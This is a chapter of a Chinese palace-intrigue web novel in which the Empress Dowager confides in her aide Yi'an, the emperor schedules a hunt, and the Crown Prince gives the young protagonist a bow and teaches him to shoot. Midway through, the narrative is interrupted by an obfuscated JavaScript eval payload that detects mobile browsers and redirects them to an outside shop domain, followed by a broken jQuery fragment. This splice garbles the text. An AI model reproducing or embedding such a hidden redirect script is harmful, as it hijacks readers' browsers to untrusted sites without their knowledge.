清晨。
太后晨起梳头时,身后的女人款款而来,从小宫女手中接过梳子,一下一下梳理着。
太后扶额睁眼:“易安你来得这样早。”
“想着娘娘该惦记我了。”
易安嘴角弯起,露出一个盈盈的笑。
“巧嘴。”
易安手很巧,又轻,两下就给太后疏了一个抛家髻,华贵又不失巧意,从铜镜中看去也依稀得见太后当年尽显风华的姿貌。
“看,娘娘风姿万千。”
太后被易安逗得有了些笑意,轻轻拍了拍易安的手,二人从里屋走出。
易安脸上笑意稍顿,从袖中掏出一封信件,跪在太后面前,将信件递上。
“易安前来向娘娘禀报。”
太后接过信:“易安,起来回话。”
“接到儋州朱芫府的密信,说是……陛下前不久下了道密诏,要他等准备一应礼乐,看样子……”
太后挑眉。
“太子?”
易安颔首。
“皇帝的身体不行了,要给太子铺路,易安,你觉得,他能不能走到哀家前面?”
“娘娘……您福寿康健,定会——”
“易安。”
太后拦住话音,“不用说这些好听的哄哀家高兴,你是个好孩子。”
年老的太后即使今日神采奕奕,云鬓清婉面容并不曾那样衰败,但是眼睛中的阅历却藏不住,她不再自称“哀家”,而是简简单单说着“我”。
“我的身体我自己清楚,他的身体也是,自古这高墙之内人命短,他得到的东西已经很多了,可惜他不懂知足。”
易安的手还像惯常那样,搭在太后的腿上轻轻按揉,她侧坐在太后的身下,听到这里缓慢听下手中的动作,抬头静静看着太后。
“他背信弃义,全然忘记当初的承诺,也忘了先帝的天恩。一个在儋州放牛的冷门宗室,能有朝一日坐在庙堂之上受万民供养,欲壑难填,我早知道有朝一日他会如此。”
“眼见着自己不行了,便把心思放在了儿子身上……永不知足。”
太后伸手摸了摸她额角的发丝。
“易安,你可觉得我迟迟不肯放权是为老不尊,野心太大?”
易安立马要跪,眸中泪光坚定:“易安绝无此意。”
下一秒被太后拦住,伸手揽过易安的脸,轻轻摩梭着让人抚在膝上。
“好易安。”
“先帝去得那样急,又那样早,我和先帝也只有乐音一个女儿,乐音又只有瑎儿一个孩子。我并非不知道瑎儿不是君主的合适人选,可他若不能站到人人敬畏的位置上,就只有死路一条。”
“我放不下瑎儿,也放不下你。”
易安一滴清泪从脸颊滑落在下巴下的锦绣绸缎上,她抬眸望着:
“易安是因为娘娘才能走到如今,娘娘深恩于我而言,结草衔环莫能相报,易安又怎会理解不了娘娘所思呢?”
“无论娘娘做什么,易安都是您的刀。”
她眼眸中迸发出锐利的光。
///
晨起早朝之上,顺安帝果然将紫江水利抢修督办全权交给了叶老将军,刚归家几日的叶老将军奉命受任,当即前往香曲郡。
话说回来,顺安帝可用之人不多,可用且有才干之人便更少,太子归朝不足半年,尚在太学苦读,不曾列席早朝。大殿上百官朝拜,顺安帝一眼望过去,竟生出一丝不安。
他将眼波转换到阎济身上,高大的男人静静垂眸,不置一词,他如今失去兵权已有三月有余,教授太子也算勤勉,除了和景瑎有过几次算得上是巧合的碰面,几乎再也没有任何勾结太后、意图谋反的证据。
甚至称得上贤良。
可顺安帝十分不安,他不信阎济,却又找不到治他罪的把柄。
他低头朝柴津看了一眼,柴津接受到视线,出席。
“臣有事启奏。”
顺安帝:“爱卿讲。”
“春草年年绿,臣想起来往年里多会在此时于东晓山上‘四时狩巡’,今年节气甚好,陛下何不设围猎之会,率众同游?”
顺安帝若有所思。
“不错,众爱卿以为如何?”
嘈杂的附和声传来,顺安帝的视线落在垂眸不语的阎济身上,开口问道:“燕王以为如何。”
阎济早已习以为常。
“当下确是好时节。”
顺安帝略带迟疑地收回目光:“好,朕便将围猎暂定半月后。”
……
这三日是大宸立国安邦的庆日,特此朝野上下休沐。
因这宫中朝晖堂空了三日,皇子伴读出宫归家,清闲不少。
睡醒神清气爽,景瑎又收到不少东西。
太后送来几身新衣,一看便华贵不凡,景瑎呆愣愣地摸了好几下,只觉得比金子值钱。
隋寂笑着说:“很衬公子肤色呢。”
景瑎脸红了红,没有答话,又将视线投向接下来的礼物上。易安郡主送来一块昆山玉做成的玉佩,相当精致有巧思;然后是宫中各宫都有的一些常规赏赐,只是有两件比较稀奇:
一件是瑾贵妃送来的一朵双蕊莲,新奇巧妙,倒是景瑎没见过的东西,据送东西的人说,瑾贵妃为表那日她弟弟的冒犯,还请景瑎见谅。
另一件就是太子左意蕴送来的了——一把符合景瑎身形的庾弓。
庾弓精致小巧,比正常的型号小许多,上面的弓弦也好像细一点,是景瑎刚刚好能拉开的程度。
前者景瑎含糊收下,只因为他在这宫中身份特殊,总觉得不太自在,没必要和瑾贵妃等后妃计较。
但景瑎看到后者的第一时间,他才终于清醒过来似的,脑中的警报拉响。
嘀嘀嘀叫起来——
【系统,这是……围猎的弓!】
景瑎拿起来掂了掂,发现居然十分地轻便。
“恭迎太子殿下——”
门外突然传来一行人哗啦啦跪地叩拜的声音,景瑎还没反应过来,就看见左意蕴从大门背手走进来,见他正在握着弓,扬起一个大大的笑。
“瑎儿。”
“……太子哥哥?”
景瑎回神,左意蕴走到他身边,看了一眼旁边的各种礼物,笑道:“好几日未见……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680742|207676||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说着,他背手弯腰,骤然一下子拉近了距离,垂眸视线仔细扫过少年脸上每一个地方,趁着人还没反应过来,重新站直身体,发出一声低笑。
“……嗯,不错,气色是好了不少。”
说完,他也不给景瑎反应的机会,扭头看到了隋寂,笑意盈盈的。
“毛竹在外面还有东西,你去帮帮他?”
隋寂面色不善,但是显然没有他说话的份儿,只能退出。
景瑎的汗毛还没消下去,再抬头就发现自己已经被左意蕴牵着走了。
“太子哥,哥……”
景瑎开口道,前面的左意蕴扭头,挑眉指着双蕊莲,“欸?瑎儿,这是瑾贵妃宫中送来的么?”
景瑎顺着视线看去,应道:“是。”
左意蕴笑,状似无意:“前日里便听说她宫中养出来了两朵双蕊莲,还可惜无缘得见,没想到今日占了瑎儿的光,能得见如此异象。”
景瑎呆:只有两朵就送了他一朵么?
左意蕴继续道:“前些日子他邹子濯冒犯你在先,我特此向父皇禀报,今后不许再让他进宫来,省得你不高兴,如今她也算是有心了。”
闻言,景瑎当即愣了一下。
因为自己专门让贵妃亲弟不许进宫?
这也……
他说不上来,面上浮现一抹疑惑,觉得很不舒服。
可左意蕴却没注意到身后小人儿的不安,“太医说莲花有安神的功效,院子里日头太大,夏日里若能置于屋中,也是解暑的清凉好物,瑎儿,我回头叫毛竹送来些工具,安排人教你宫里人好好养着,能活好一些日子呢。”
景瑎道:“既然太子哥哥喜欢,不如借花献佛,将他赠予太子哥哥吧。”
左意蕴似乎没想到,“瑎儿有心了。”
他上前轻轻拍了拍景瑎的肩膀,“只是这本是瑾贵妃赠予你的,你若不收,她怕是觉得你没有原谅她呢。”
景瑎恍然,抿上嘴。
“瑎儿来,你还没说喜不喜欢我给你送的弓呢。”
那庾弓在景瑎手上拿着,轻便小巧,十分精致,一般情况下非能工巧匠没人会制造如此型号的弓。
君子六艺,骑射当属重要一项,可景瑎瘦弱的身形,细胳膊细腿,不用猜也知道他不精此道。
不知道什么时候,他已经站在了景瑎的身后,从背后带着他的手,举起小巧的弓,再随手抽了支箭,展开少年手心放进去,抬手搭在弓上,然后上移,将远处的梨树当成箭靶。
“瑎儿来,我教你。”
景瑎不太适应这么近的距离,这让他浑身不自在,只想逃离,可不知道为什么,手握住弓箭搭在弦上的那一刻,居然有一种似曾相识的感觉。
左意蕴还在他的耳侧,带着他的手发力,弓弦慢慢紧绷。
他压低声音,缓慢教导道:
“瑎儿,专心些……”
景瑎缩了缩脖子,深深地皱起眉。
“锃————”
意外的是,那箭矢并没有刺入院中原本瞄准的梨树中,而是斜插进了下方的土里。
左意蕴眸中闪过一丝怔愣,就听见景瑎说。